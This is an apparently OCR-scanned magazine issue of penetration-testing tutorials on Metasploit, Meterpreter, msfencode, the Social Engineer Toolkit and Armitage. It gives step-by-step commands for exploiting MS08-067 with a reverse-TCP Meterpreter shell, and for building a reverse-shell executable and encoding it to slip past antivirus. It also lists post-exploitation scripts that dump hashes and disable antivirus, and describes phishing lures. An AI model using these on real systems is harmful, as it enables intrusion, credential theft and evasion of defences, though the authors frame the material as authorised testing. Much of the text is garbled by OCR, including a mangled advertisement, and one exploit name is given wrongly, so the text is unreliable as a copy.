ample, i mpor t / r oot / nessus_r epor t _f t p_t ar get .
nessus. To verify that the scanned hosts and vul-
nerability data was imported properly, ent er host s
- c addr ess, svcs, vul ns to see if the target IP ad-
dresses, detected services, and vulnerabilities de-
tected by Nessus are in the list. Like we did with
WMAP, enter vulns to view details for the discov-
ered vulnerabilities.
Nessus Plugin
There is also a Nessus plugin for Metasploit to con-
trol Nessus through the Metasploit framework. To
perform a vulnerability scan using Nessus from with-
in Metasploit, follow these steps:
Load Nessus plugin, l oad nessus
If you need help enter nessus _ hel p
Authenticate to your Nessus server nessus _
connect user name: pass@127. 0. 0. 1: 8834
List available scan policies by issuing,
nessus _ pol i cy _ l i st
Launch a new scan with nessus_scan_
new followed by the policy number, a name
for your scan, and your target IP address,
for ex. nessus _ scan _ new 1 scan _ t ar get
192. 168. 1. 5
Check scan status while it is running enter
nessus _ scan _ st at us
List the available scan reports after the scan
has completed, execute nessus _ r epor t _ l i st
command, identify the ID of the report you
want to import and enter nessus_report_get
to download the report and
import it into the Metasploit
database automatically. for
ex nessus _ r epor t _ get
1d890f 6b- be0d- 1e8f - ea6f -
f ca1ea1402ef 9563f bf 0283
05b22 (Figure 11)
Exploitation
If a vulnerable host has
been identified it is time for
the real deal. The Metasploit
Framework contains hun-
dreds of exploits. Running
show expl oi t s from msfcon-
sole will display every exploit
available in the Framework.
Other valid parameters for
the show command are all,
encoder s, nops, expl oi t s,
payl oads, auxi l i ar y,
pl ugi ns and opt i ons.
Figure 10. nexpose help menu
Figure 11. Connecting to Nessus plugin and listing policies
16
A GUIDE TO METASPLOIT
TBO 01/2013
Exploiting the Target
We are going to attack a Windows XP SP2 ma-
chine with exploit MS08-067. To discover if the tar-
get machine is vulnerable to this exploit, we are
going to use Nmap and script smb-check-vulns.
Fire up your msfconsole and execute nmap - sS
- A - - scr i pt =smb- check- vul ns - P0 192. 168. 1. 5.
If your target machine is vulnerable, search for
ms08_067_netapi and enable it use wi ndows/
smb/ ms08_067_net api . Now we need to select
our payload. We will use Windows-based Me-
terpreter reverse tcp. To select this payload,
execute set PAYLOAD wi ndows/ met er pr et er /
r ever se_t cp. To view a list of available pay-
loads for the exploit execute show payloads
(Figure 12).
If everything goes well a connection will be cre-
ated from the target machine back to your attack-
ing machine. Reverse TCP allows us to succeed
in compromising the target system in case the
target machine is behind a firewall or NAT and
when it is impossible to bind TCP. After select-
ing the payload we have to specify our target be-
cause this exploit is specific to the operating sys-
tem version, service pack and language. Execute
show targets to see a list of possible exploit tar-
gets (Figure 13).
To select your target execute set TARGET 4 for
example. Set the options and type expl oi t . When
you are using a reverse TCP payload do not for-
get to turn off your local firewall and check your
router to see if it is blocking any port, otherwise
you will not see a shell waiting for your com-
mands if the exploit was successful. If you are
attacking a system on the Internet, you will have
to use your external IP address in the LHOST op-
tion. You should use port 80, 53, 8080 or port 443
in the LPORT option because if the target ma-
chine is behind a firewall and the outbound traffic
is filtered, ports 80, 53, 800 and 443 would likely
be allowed for outgoing connections, else the vic-
tims local firewall may drop all unintended pack-
ets which go through any port other than 80, 53,
8080 or 443. Do not forget to configure your rout-
er to redirect all incoming traffic on ports 443, 53,
8080 and 80 to your local IP address (attacking
machine).
Search for Allowed Ports
Automatically
If you find it hard to locate a
port that is allowed through
the firewall, Metasploit offers
the command sear ch por t s.
This payload searches for
open ports by trying ev-
ery available port connect-
ing outbound until it finds
an open one. This process
may take quite a long time.
If you manage to open one
or more sessions you can
list your active sessions by
executing sessi ons - l . To
interact with an active ses-
sion, issue the command
sessi ons - i num, where num
is the number of the ses-
sion. A Meterpreter shell will
open and if we enter shel l ,
we will jump into a windows
command line shell.
Fuzzing
Fuzzing or fuzz testing is
an automated or semi-au-
tomated black box software
testing technique that auto-
mates the process of data Figure 13. Available targets for SMB exploit
Figure 12. Some of the payloads available for exploit ms08_067_netapi
www.hakin9.org/en 17
generation and injection to discover bugs, crashes,
maximum overflow capacities and memory leaks
in software applications, protocols, file formats and
computer systems by providing invalid, unexpected
and random data to the inputs of the system.
Metasploit contains numerous fuzzer modules
that can be used to test software applications,
computer systems and protocols. To quickly see a
list of available fuzzers run msf consol e, type i nf o
auxi l i ar y/ f uzzer s/ and hit tab button (Listing 2).
FTP Pre- authentication and Post-
authentication Fuzzing
The ftp_pre_post fuzzer module will connect to a
FTP server and perform pre- authentication and
post-authentication fuzzing. To select this fuzzer
module, execute use auxi l i ar y/ f uzzer s/ f t p/ f t p_
pr e_post . Set rhosts and run the module or type
show options first to configure the module (Figure
14).
HTTP Form Field Fuzzer
Metasploit provides us with a http_form_field fuzz-
er module. This module will grab all fields from a
form, and launch a series of POST actions, fuzz-
ing the contents of the form fields and headers.
To use this module type use auxi l i ar y/ f uzzer s/
ht t p/ ht t p_f or m_f i el d.
Meterpreter
Meterpreter is an advanced,
stealthy, powerful and exten-
sible post exploitation tool
that uses in-memory DLL
injection stagers and is ex-
tended over the network at
runtime. It communicates
over the stager socket and
provides a comprehensive
client-side Ruby API. Figure 14. Running ftp_pre_post fuzzer
Listing 2. Command executed in the attacker machine
msf > i nf o auxi l i ar y/ f uzzer s/
i nf o auxi l i ar y/ f uzzer s/ dns/ dns_f uzzer
i nf o auxi l i ar y/ f uzzer s/ f t p/ cl i ent _f t p
i nf o auxi l i ar y/ f uzzer s/ f t p/ f t p_pr e_post
i nf o auxi l i ar y/ f uzzer s/ ht t p/ ht t p_f or m_f i el d
i nf o auxi l i ar y/ f uzzer s/ ht t p/ ht t p_get _ur i _l ong
i nf o auxi l i ar y/ f uzzer s/ ht t p/ ht t p_get _ur i _st r i ngs
i nf o auxi l i ar y/ f uzzer s/ smb/ smb2_negot i at e_cor r upt
i nf o auxi l i ar y/ f uzzer s/ smb/ smb_cr eat e_pi pe
i nf o auxi l i ar y/ f uzzer s/ smb/ smb_cr eat e_pi pe_cor r upt
i nf o auxi l i ar y/ f uzzer s/ smb/ smb_negot i at e_cor r upt
i nf o auxi l i ar y/ f uzzer s/ smb/ smb_nt l m1_l ogi n_cor r upt
i nf o auxi l i ar y/ f uzzer s/ smb/ smb_t r ee_connect
i nf o auxi l i ar y/ f uzzer s/ smb/ smb_t r ee_connect _cor r upt
i nf o auxi l i ar y/ f uzzer s/ smt p/ smt p_f uzzer
i nf o auxi l i ar y/ f uzzer s/ ssh/ ssh_kexi ni t _cor r upt
i nf o auxi l i ar y/ f uzzer s/ ssh/ ssh_ver si on_15
i nf o auxi l i ar y/ f uzzer s/ ssh/ ssh_ver si on_2
i nf o auxi l i ar y/ f uzzer s/ ssh/ ssh_ver si on_cor r upt
i nf o auxi l i ar y/ f uzzer s/ t ds/ t ds_l ogi n_cor r upt
i nf o auxi l i ar y/ f uzzer s/ t ds/ t ds_l ogi n_user name
i nf o auxi l i ar y/ f uzzer s/ wi f i / f uzz_beacon
i nf o auxi l i ar y/ f uzzer s/ wi f i / f uzz_pr ober esp
msf > i nf o auxi l i ar y/ f uzzer s/
18
A GUIDE TO METASPLOIT
TBO 01/2013
Useful Meterpreter third party scripts
Once you have successfully compromised a target,
you could use the scripts below within a Meterpreter
shell in order to retrieve valuable information. To run
one of the scripts below enter run followed by the
name of the script, for ex. run winenum.
Grab system information and the entire registry
with scraper script
Dump tokens, hashes and more with winenum
Enumerate system information through wmic
using remotewinenum
Add entries to the Windows hosts fle using
hostsedit
Get the local subnet mask of the victim with
script get_local_subnets
Disable most antivirus programs running as a
service with killav script
gettelnet script will enable telnet
Enable RDP with script getgui
Disable security measures such as antivirus,
frewall, and more with getcountermeasure
Check to see if you exploited a virtual machine,
checkvm
Metasploit Database
Every time we are running a module, the Metasploit
database is being updated with data. This is an
amazing feature of Metasploit, because it is im-
possible to remember all this information. There
are specific commands to pull information from the
Metasploit database. Some of them we have al-
ready seen them during our tests.
Pull information
hosts command will list all of the hosts in the
database
notes command will output the notes that
Metasploit has for each host
services command will display the identifed
services on the target machines
vulns will list all of the discovered vulnerabili-
ties for each target machine
creds will list all stored credentials
To get more help and details about each com-
mand you can issue the command in msfconsole,
followed by parameter - h.
Administering Metasploit Databases
There are also commands to administer databases:
db _ cr eat e username:passwd@localhost/db-
name, create a new database
db _ connect username:passwd@localhost/db-
name, connect to a database
db _ di sconnect , disconnect from database
db _ dest r oy username:passwd@localhost/db-
name, to delete the specifed database
Conclusion
Although it matters what tools you are using to
conduct your penetration testing, it is not all about
the tools. Penetration testing requires you to think
outside of the box. The key to a successful pen-
etration test is being able to connect and correlate
the information that you have managed to collect.
There are several different ways to break into the
systems and a variety of tools to use but you have
to be patient, persistent and creative. Metasploit is
an amazing tool with many benefits that will help
you achieve your goal but you will not accomplish
anything without hard work and study. And remem-
ber, you cannot just download Metasploit and start
scanning and exploiting random targets on the In-
ternet. You need write permission from the owner
or administrator of the system to conduct a pen-
etration test against the system. Be careful other-
wise you may end up behind bars.
GEORGE KARPOUZAS
George Karpouzas is a co-found-
er of WEBNETSOFT (http://webnet-
soft.gr), a software development
and IT Services company. He is work-
ing as a software developer for the
past seven years. He is a security re-
searcher and an information securi-
ty consultant for WEBNETSOFT, spe-
cializing in application security. He holds a bache-
lors degree in computer science from Athens Univer-
sity of Economics and Business. You can also fnd the
answers to any security questions on his blog http://
securityblog.gr.
Organized by
R
(http://journaI.cybertimes.in)
Sponsored by
(www.seduIitygroups.com)
Chief Guest:
Guest of Honour:

Dr. GuIshan Rai, Director General, CERT-n, MT, ndia.

Justice TaIwant Singh, CB Judge, Delhi, ndia.

Mr. Rajiv P Saxena, Deputy Director General, NC, Govt. of ndia.

Shri V.K. PanchaI, (Scientist-G, DTRL, DRDO).


http://journaI.cybertimes.in
Ph: +91-9312903095
`Conditions Apply.
1nternutIonuI ConIerence On
"DIveraItyIng Trenda In
TeebnoIogy OManagemenr"
"DIveraItyIng Trenda In
TeebnoIogy OManagemenr"
For Sponsorship,
Contact - EmaiI: editor@cybertimes.in, Ph: +91-9312903095.
6 - I Ari' 20IJ
at
Indlan Instltute oI Technology [IIT - Delhlj
NewDelhl, Indla.
6 - I Ari' 20IJ
at
Indlan Instltute oI Technology [IIT - Delhlj
NewDelhl, Indla.
C
T
I1T
M
Important dates
th
Last date of Full Paper Submission: 5 March` 2013
Last Date of Full Paper Submission: 15 March`2013 (With Late Fee)
th
For More Details Visit ~http://journal.cybertimes.in
`Conditions Apply.
20
A GUIDE TO METASPLOIT
TBO 01/2013
Metasploit:
An Introduction
Metasploit Framework is a tool for developing and executing
exploit code against a remote target machine. It provides end to
end framework for penetration testing for: Information gathering,
Vulnerability Scanning, Pre Exploitation, Post Exploitation, Exploit
Development.
M
etasploit greatest advantage is that it is
open source and freely extendable. You
can customize it by including your exploit
and payloads as per your need. A security pentest-
er can check the custom made applications specif-
ic to an enterprise against his customized exploits
and payloads. If a security researcher crafts a new
attack, then a custom made payload can carry out
most of the attack purpose.
Today, software vulnerability advisories are often
accompanied by a third party Metasploit exploit
module that highlights the exploitability, risk, and
remediation of that particular bug
Architecture of Metasploit
For the sake of simplicity, we shall concentrate only
on the Interface and the module part of Metasploit
for this article (Figure 1).
Platform Used for demonstration
We are currently demonstrating Metasploit fea-
tures with the help of Backtrack OS. All screen
Figure 1. The architecture of Metasploit Figure 2. Metasploits features
www.hakin9.org/en 21
shots of working of metasploit are taken from
there. We have VMware image of Backtrack 5 R1
OS with this configuration: Figure 2.
We login in Backtrack 5 R1 OS with credentials
as root and password as toor. Type startx to load
the GUI screen of Backtrack.5.
Metasploit is typically found on this location in
Backtrack OS.
Metasploit Interfaces
Msfconsole: The console and the most power-
ful of all interfaces. Can support multiple ses-
sions
Msfcli: Single command interface. Supports
only one session
Msfd: Provides a network based interface to
msfconsole
Msfweb: This is web based interface.
Good Practices for using Metasploit
Updating via Msfupdate
It is always beneficial to have updated Metasploit
framework before beginning to work on it. This
way we can stay current for all the exploits and
payloads offered for the framework. We use
the Msfupdate utility to update the Metasploit
framework.
Here is the path for the Msfupdate utility: Figure 3.
Port scanning via Nmap
It is good idea to identify the open ports and the
services running on them using a versatile tool
such as nmap. It gives us the clearer picture on
what areas and ports we need to focus our ener-
gy to run the exploit. Knowing the service version
number helps us greatly to select the known ex-
ploits available in Metasploit with their associated
payloads.
Here is an example of the nmap scan: Figure 4.
Meterpreter: Metasploits Payload
A payload is the piece of software that lets you
control a computer system after its been ex-
ploited. It is typically attached to the exploit. Me-
terpreter is the best known payload of Metasploit.
Meterpreter enables users to control the screen of
a device using VNC and to browse, upload and
download files.
What typically payloads allow you to do after
execution of exploit?
Add a new user to victim machine
Opening the command prompt on a specif-
ic port of victim system and running the com-
mands from there
Reverse connecting a command shell to issue
the commands from your end
What is a meterpreter?
Meterpreter is short form for Metasploit Interpret-
er which is a powerful payload allowing you to do
many things on the compromised system such as
manipulating local files in system etc. Used for
write and execute advanced commands on the de-
fault shell of the victim system.
What makes Meterpreter so powerful?
Meterpreter runs in memory of the exploited
process which makes it very quiet and stealthy to
evade detection by the antivirus and other analy-
sis tools. It leaves very small traces in the com-
promised system while in turn giving the attack-
er maximum space to carry out activities such
as navigating local file system, port forwarding,
tunnel connection from victim machine to other
system, push entries in registry, modify network
configuration, download confidential files etc. In
short, once you get the meterpreter running you
can pretty much do anything related to a hacked
system.
How this is achieved?
Meterpreter achieves this by providing API on
which programmers can write their specific exten-
sions which can be uploaded as shared DLLs run-
ning within the memory of the exploited process.
How this is helpful to pentesters?
Metasploit using meterpreter avoids executing a
new process or sub-process and maintains the
Figure 3. Run Metasploit Figure 4. Using nmap
22
A GUIDE TO METASPLOIT
TBO 01/2013
stealth-ness of the attack. It comes with built-in
commands and extensions that allow obtaining
system information, configuring port forwarding,
as well as uploading and executing binaries and
DLLs. It basically evades detection largely by any
analysis tool.
Running Metasploit
This is the path for running metasploit from back-
track OS (Figure 5).
Once started, we get the msfconsole as follows:
Figure 6.
Methodology for running an exploit from
msfconsole commands
show exploits: This command will give you
the extensive list of the exploit available in
Metasploit (Figure 7).
use <exploit name>: Using the exploit for your
victim machine
show payloads: Gives out the name list of
available payloads specifc to exploit chosen
(Figure 8).
set PAYLOAD <payload>: Sets the payload
which is actually executed after successful ex-
ecution of your chosen exploit (Figure 9).
show OPTIONS: Lists out the options such as
RHOST, TARGET followed by its value associated
with the selected exploit and payload (Figure 10).
set options : Sets the OPTIONS for the chosen
exploit and payload. Values are typically shown
here for each option (Figure 11)
exploit: Executes the Exploit against target
(victims) system
If exploit executes successfully, then the payload
embedded in it is injected into the victim machine
to carry out the intended activity. If unsuccessful,
then corresponding error message is shown.
Msfencode
Many times during payload execution, we come
across bad characters such as Null (0X00) byte,
new line characters which can be trapped by built
in application which uses sanitization filters on re-
ceived input. This utility helps us to encode the ex-
ploit and get rid of bad characters to bypass those
input filters. It also significantly reduces the dan-
gers of being caught by IDS tool.
Figure 5. Run Metasploit
Figure 8. Available payloads
Figure 7. Available exploits
Figure 6. The console
Figure 10. Options
Figure 11. Set the option
Figure 9. An exectuted payload
www.hakin9.org/en 23
Example
Suppose we are producing meterpreter execut-
able met.exe as follows:
. / msf payl oad wi ndows/ met er pr et er / r ever se_t cp
LHOST=192. 168. 1. 67 LPORT=4444 X > / var / www/ met . exe
Cr eat ed by msf payl oad ( ht t p: / / www. met aspl oi t . com) .
Payl oad: wi ndows/ met er pr et er / r ever se_t cp
Lengt h: 290
Opt i ons: LHOST=192. 168. 1. 67, LPORT=4444
Now, when we try to download this fle from the
victim PC, we get an error message because
our antivirus has detected an intrusion attempt.
Let us see what happens when we apply the en-
coding techniques:
. / msf payl oad wi ndows/ met er pr et er / r ever se_t cp
LHOST=192. 168. 1. 67 LPORT=4444 R | . / msf encode - t
exe > / var / www/ met enc1. exe
[ *] x86/ shi kat a_ga_nai succeeded wi t h si ze 318
( i t er at i on=1)
Notice the size of the fle changed from Length:
290 to size 318. The text marked in blue shows us
that the attack has been successful.
How does it help the pentester?
Pentester has more control and flexibility for craft-
ing his payloads and sent them across its target.
He can now demonstrate more creativity to encap-
sulate his payloads for delivering to destination
host machine to achieve its exploits objective.
Automating the Pentest
We can completely automate a pen-test from scan-
ning remote systems to identify vulnerabilities, and
then launch exploits against these systems.
We have the following options to import recon-
naissance data:
db_import_nessus_nbe: Import an existing
Nessus NBE output fle
db_import_nmap_xmlI: Import data from an
existing Nmap XML output fle
db_nmap: Execute Nmap through the frame-
work and store its results in the database
The command db_autopwn, references the re-
connaissance data, links it up with matching ex-
ploit modules, selects exploit modules based
on open ports and launches the exploit modules
against the matched targets.
Using db_autopwn
See Figure 12.
Auxiliary Module system
The Auxiliary module system is a collection of ex-
ploits and modules that add to the core capabil-
ity of the framework. They are basically suited for
information gathering purposes. These are auto-
mated scripts performing a certain task. We can
specify single or multiple ranges to be targeted.
Popular uses are in port scanning, fuzzers, DoS
scripts etc.
Popular Auxillary Modules
scanner/smb/version: Determine the operat-
ing system version and service pack level of a
Windows target system using SMB fngerprint-
ing. Use info for more information
Figure 14. All modules with scanner/http
Figure 13. Scanner/discovery/sweep_udp
Figure 12. Using db_autopwn
24
A GUIDE TO METASPLOIT
TBO 01/2013
scanner/discovery/sweep_udp: Scans a single
host or a specifed range of hosts for UDP ser-
vices, and decodes the results. Eg. Figure 13.
Searching Auxiliary modules
We can narrow down our search to a few modules
when using search operator. E.g.. Search all mod-
ules with scanner/http (Figure 14).
How it is helpful to pentesters?
The auxiliary module system allows excellent in-
formation gathering activities, matching systems
to available exploits, executing exploits, managing
the multiple exploit sessions, and storing all of this
information in a database.
Social Engineer Toolkit
This toolkit was created to fill the gap between the
penetration testers and social engineering. This
helps tremendously to craft a clever malicious file
to trap innocent users to click on it. The interface is
very simple to use. J ust select the option no in the
menu and we are good to go!
We can access the SET toolkit as follows:
Figure 15.
We are greeted with SET toolkit splash screen
as: Figure 16.
Now in this menu driven program, all we have to
do is select our attack vector, craft it as per instruc-
tion and send the link / email to the user. The inno-
cent user when opens the link or attachment falls
victim to our social engineering tricks and we have
easy access to his system.
We can try all the options in the SET toolkit menu
and follow the instructions accordingly to launch
a successful attack t compromise the victim ma-
chine.
How this is helpful to pentesters?
Pentesters can now readily demonstrate to man-
agement how an attacker with malicious intent can
abuse the trust of the people of the organization
to gain access to the most sensitive information.
By exploiting and presenting the real world tests
on phishing, it can be shown that social engineer-
ing is the strongest threat to the organization. Its
target is people, not the systems to gain access to
confidentiality.
General Precautions for using Metasploit
Metasploit is no doubt a very powerful and handy
tool for an effective and thorough penetration and
exploit testing. But if used improperly, may result
in very unpleasant situations where whole server
might be forced to shut down during testing costing
millions to an organization. Here are some good
practices to follow whenever we are going for pen-
etration and exploit testing.
Proper backup: It is highly recommended that
the backups must be taken before any pene-
tration exercise is undertaken, else the loss of
information and its unavailability for the time
being might prove fatal to business if in case
something goes wrong. It works as a second
line of defense.
Prior management approval: It is crucial that
proper written authorization letter is obtained
from management before proceeding for any
exploit testing. This removes the burden of
facing any legal lawsuits if in case things go
wrong.
Inform frst, and then exploit: The good rule
of thumb is to inform the senior management
about the risk and ask their call on the issue.
If you receive green signal to proceed with the
exploitation part, obtain written approval and
then demonstrate. Figure 16. SET toolkit screen
Figure 15. Access the SET toolkit
www.hakin9.org/en
Training: Security awareness is the strongest
deterrent for any risk for valuable information
leakage. Through the live demonstration of
SET inform the IT and other offce staff how to
stay on guard by not falling victim to the social
engineering methods.
Conclusion
Metasploit is helpful in determining if the given vul-
nerability is actually exploitable or not. It lets us
know if there actually a risk associated with the
vulnerability which can be exploited. This auto-
matically cleans out any instances of false positive
which are typical feature of many automated scan-
ners. Automated scanners dont tell you if vulner-
ability is a potential risk or not as they dont check
that against a known exploit. But metasploit does
that. Hence, a better risk assessment judgment
can be made using metasploit. Metasploit can also
be frequently used by pentesters to demonstrate
successfully the potential extent of damages that
an attacker is capable of after successful break-in
by or post exploitation activities. This can also help
us to better rate the severity of the risks associated
with the discovered vulnerability of the system.
MANASDEEP
Manasdeep currently serves as a Security Analyst in
the Security Assessment team at NII Consulting, Mum-
bai. His work focuses on conducting Security Audits,
Vulnerability Assessment and Penetration Testing for
NIIs premier clients. He has fair in technical writing and
shares his thoughts on his blog Experiencing Comput-
ing... at http://manasdeeps.blogspot.in. He has also
published information security paper(s) in Internation-
al Journal of Computer Science and Information Securi-
ty (IJCSIS) along with various seminar / conference pro-
ceedings.He loves to apply innovation freely in his work
to fnd more creative ways to address a given problem.
References
http://www.metasploit.com/
http://blog.metasploit.com/
http://www.ofensive-security.com/metasploit-unle-
ashed/
http://en.wikipedia.org/wiki/Metasploit_Project
http://www.metasploit.com/about/penetration-te-
sting-basics/payload.jsp
http://www.ofensive-security.com/metasploit-unle-
ashed/
http://insidetrust.blogspot.in/2010/08/hacking-tech-
niques-using-msfencode-to.html
Metasploit Toolkit for Penetration Testing by David
Maynor
Metasploit: The Penetration Testers Guide by Da-
vid Kennedy
26
A GUIDE TO METASPLOIT
TBO 01/2013
Cyber Attack
Management with Metasploit
Armitage is a GUI interface for the Metasploit framework. The
Metasploit Framework is a free, open source penetration testing
solution. As of this review, the Metasploit Framework contains 713
exploits, 362 auxiliary modules, and 58 post exploitation modules
for a variety of operating systems and applications.
A
rmitage enables the penetration tester to quick-
ly and easily harness the power of Metasploit.
To get started with Armitage, download the lat-
est version of the Metasploit framework from http://
www.metasploit.com. Launch the metasploit console
and type: load xmlrpc (see Figure 1).
Then launch Armitage and enter the XMLRPC
Password provided (see Figure 2). Note: This
password randomly changes on each new load.
One negative comment I have at this point is that
it is sometimes hard to read the password under
the font style utilized. For instance, the number 1
could be mistaken for the letter l and the number
zero 0 for the capital letter O and vice versa.
Armitage makes it very easy to find what you are
looking for by separating all the modules out into a
directory tree (see Figure 3). You can even search
for a specific module by entering the first few let-
ters of the module name or exploit.
To use a module, all you need to do is double
click on it and enter the information requested. I
have noted some issues with running modules this
way so I always use the module through the con-
sole window. In addition, when devices are identi-
fied, the first icon always jumps to the bottom of the
viewing screen in the Graph View. I usually switch
this view into the Table View under Targets, under
View, so that I can see a list of the devices. Once a
device is loaded, you can right mouse click on the
device to choose different options such as identi-
fying the services or conducting port scans on the
Figure 2. Launching Armitage Figure 1. load xmlrpc
www.hakin9.org/en
device. Note: Metasploit uses nmap as the default
port scanner. Once the ports/services are identi-
fied, you can map possible vulnerabilities to these
ports by allowing Armitage to find possible attacks.
Again, by selecting the exploit, you can specifically
target and quickly identify vulnerabilities that can
be exploited on the device.
The item that I love the most about Armitage is
when a vulnerability is discovered, the icon of the
device changes to a red lightning bolt that hugs
the device letting you know that you have just
taken control of that device. From there, you can
launch several different post modules with a click.
As mentioned earlier, when you run modules by
point-and-click, you dont always see the progress
of the modules; however, launching the exploit
from the console provides you detailed informa-
tion on its status. With Armitages built in database,
you can keep track of the devices, credentials, and
other items pertinent to your pentesting assign-
ment. Since Armitage is basically a front end for
Metasploit, all of the functionality is available such
as passing-the-hash, pivoting, use of the meter-
preter payload, etc. Sometimes the modules run a
little slow so you may have to wait for the results,
but overall, Armitage is a great tool to use on a
penetration assignment.
Figure 3. Directory tree
JOHN JAY TRINCKES, JR
John Jay Trinckes, Jr. is Vice President of Information
Security at Ohio Shared Information Services (OSIS), a
501(c)3 non-proft organization that assists Federally
Qualifed Health Centers (FQHC) with IT and security re-
lated services along with full adoption of NextGens suite
of fnancial/clinical solutions to improve the quality of
care delivered to the underserved population.
28
A GUIDE TO METASPLOIT
TBO 01/2013
Cyber Attack
Management with Armitage
Metasploit has now become the industry standard product for
penetration testing. Armitage leverages the functionality of
Metasploit and provides a complete graphical interface to it. The
article describes how to set up a penetration testing scenario using
Armitage. It moves swiftly from basics to some advances concepts
and covers several important aspects of penetration testing using
Armitage.
A
rmitage is a penetration testing platform
that runs over Metasploit framework and
uses its modular structure to create a
graphical interface of the framework. Armitage or-
ganizes Metasploits capabilities around the hack-
ing process. Armitage has almost the same fea-
tures as Metasploit with few differences but the
reason which has led to the popularity of this tool
is the ease with which it can be used. Armitage is
the most recommended platform for those who are
new into the field of penetration testing.
Armitage has all the primary features of a pen-
testing framework like discovery, access, post-
exploitation, and maneuver. Armitages dynamic
workspaces let you define and switch between tar-
get criteria quickly. Armitage can launch targeted
scans, vulnerability assessment, figure-printing
and also imports data from many other security
tools like nmap, Nessus, Dradis etc. Armitage visu-
alizes your current targets so youll know the hosts
youre working with and where you have sessions.
Armitage recommends possible exploits along
with attack parameters and will optionally run ac-
tive checks to tell you which exploits will work. The
Graphical interface of Armitage gives it an upper
hand over Metasploit as it eases up the process of
penetration testing to a considerable degree.
Armitage can also perform a wide range of post-
exploitation activities by leveraging the power of its
built-in meterpreter agent. With the click of a menu
we can log keystrokes, escalate our privileges,
browse the file system, dump password hashes,
and use command shells.
So using Armitage we can further ease our pen-
etration testing process by various ready-made fea-
tures provided by the tool. So let us start our chapter
with the basics of setting up Armitage with Metasploit
Figure 1. Armitage connection window Figure 2. Armitage login GUI
www.hakin9.org/en 29
and later on we will analyse port scanning, pre ex-
ploitation and post exploitation with Armitage.
Getting Started With Armitage
Backtrack is considered the ideal operating sys-
tem for penetration testing and it comes with a pre-
installed copy of Armitage. To set up Armitage on
Windows, we can download the installer from its
official webpage http://www.fastandeasyhacking.
com/download.
In this tutorial we will be using Backtrack as the
platform for working on Armitage.
Armitage will be pre-installed in Backtrack 5R2.
It can be launched by clicking on Applications on
desktop and then navigating to Backtrack> Ex-
ploitation tools > Network Exploitation tools >
Metasploit framework > armitage.
A simple GUI will be loaded that will prompt you
to connect to the metasploit repository so that it
can load important libraries and database val-
ues. It will have default user, password as msf and
test respectively. You can keep the DB driver as
postgressql and finally the DB connect string as
msf 3: 8b826ac0@127. 0. 0. 1: 7175/ msf 3. (Figure 1).
Once these default settings are made, we can
start the Armitage GUI by clicking on Start MSF.
Setting up Armitage on Windows platform re-
quires 2 additional support packages. These are:
Metasploit
Java development kit (Jdk) 1.6
Once you are through with the installation of
Armitage(along with Metasploit and J dk) you can
launch it from the start menu. Alternatively, if you
already have Metasploit installed then you can run
the update and it will automatically add Armitage
to your system. You can go to Start > Programs
> Metasploit framework > Framework Update.
Once the update is complete, you will fnd Armit-
age added to your Metasploit library as a module.
Armitage can be started by navigating to Start >
Programs > Metasploit framework > Armitage (Fig-
ure 2).
You will see the connect GUI which will have de-
fault values set up for host, port, user and pass-
word. You can simply click on connect to start Ar-
mitage locally. Once you click on connect it will
ask you to start the Metasploit RPC server. Click
yes and proceed to the main windows. To use Ar-
mitage on a remote Metasploit instance, you can
change the IP address from 127.0.0.1 to the re-
mote IP hosting the Metasploit server.
Scanning and Information gathering
Once Armitage is up and running we can start with
the most basic step of penetration testing, scan-
ning and information gathering. Armitage comes
with pre-installed support for Nmap, the most wide-
ly use network scanning tool.
To launch an Nmap scan, you can click on Hosts
then Nmap scan. Let us do a quick operating sys-
tem detection scan and see if any hosts are pres-
ent in our target network or not (Figure 3).
Giving a quick look at the Armitage window, there
is a search panel on the left where we can search
for all different modules present in the framework,
which is not as easy when working with msfconsole.
Further down we can see the msf-
console panel from where we can
execute any Metasploit command
that we have seen so far. So we
have the power of both GUI as
well as the command line when
we are working with Armitage. To
start with our scanning process,
Armitage will ask us for an IP or a
range that it will scan. Let us give
a scan range of 192.168.56.1/24
which will scan the entire network
for us and return the operating
system versions of any detected
live hosts (Figure 4).
Once the scan is complete, it
will display all the live hosts, their
possible operating systems and
network topology in the form of
images as shown in the figure.
So in our case there are three Figure 3. Armitage Nmap scanwindow
30
A GUIDE TO METASPLOIT
TBO 01/2013
live hosts of which 2 are running Windows while
one is running Linux.
Now our next step will be to gather more informa-
tion about our live targets so that we can choose
relevant exploits for penetration testing. Armitage
automates almost all the important functions of
Metasploit and they can be accessed simply by
the click of a mouse. Right clicking on the image of
the target will provide us with the option Services.
Clicking on it will open a new tab that will list open
ports and the services running on those ports. In
this way we can gather lots of relevant information
about multiple targets with just few clicks. Open
ports and services running on it can be vital infor-
mation in the process of penetration testing, as it
can lead us to a security hole that can be exploited
to gain access to our target system (Figure 5).
Another important thing to note here is the dif-
ferent tabs that Armitage creates for every new
request. This is a major advantage that Armitage
has over Metasploit. These multiple tabs help us
handle multiple targets at the same time with ease.
We can easily switch between targets and simulta-
neously run multiple penetration tests on them. At
any time if we are falling short of options in Armit-
age then we can go to the Console tab and try out
Metasploit commands directly there. This is a huge
advantage that Armitage has over Metasploit. Han-
dling of multiple targets increas-
es the efficiency of penetration
testing.
Finding Vulnerabilities and
attacking the target
One of the major challenges that
pen-testers often face is finding
a vulnerability that can be com-
promised to gain access to the
target system. Here we will see
how Armitage can automatically
scan for known vulnerabilities on
the targets that we discovered
in our nmap scan. Armitage au-
tomates the process of discov-
ering exploits for targets based
on ports open and vulnerabili-
ties existing in the operating sys-
tem. For Example, if a Windows
7 machine has Remote desktop
enabled, then Armitage will list
the different RDP vulnerabilities
disclosed till date. This automa-
tion process will not always yield
correct results as the exploits
searched totally depend on the
results returned from the initial
nmap scan. If the OS discovery
provides erroneous information,
then the exploit will not work.
Once the targets have been dis-
covered, Armitage has an op-
tion Attacks which can look for
known exploits based on open
ports and OS vulnerabilities for
the targets discovered. To find
exploits, click on Attacks > Find
Attacks > By port or by vulner-
ability.
Once the exploits have been Figure 5. Open ports and running services on live targets
Figure 4. Nmap scan displaying live hosts
www.hakin9.org/en 31
discovered by Armitage, we will find an extra op-
tion of Attack on right clicking on the target im-
age. This option reflects different attacks discov-
ered by Armitage for that particular target (Figure
6).
Let us move ahead and exploit our Windows
target. We can use the SMB ms_08_047 neta-
pi vulnerability to exploit the target. We can find
this exploit by right clicking the target and moving
to Attack > smb > MS_08_047 netapi exploit. We
can also check use a reverse connection to get a
connection back to us once the exploit is execut-
ed successfully. On successful execution of an ex-
ploit, we will notice three things:
The image of target changes to red with lightining
bolts around it showing successful exploitation
Right clicking the target gives us the option for
meterpreter channel
The msf console shows the opening of session
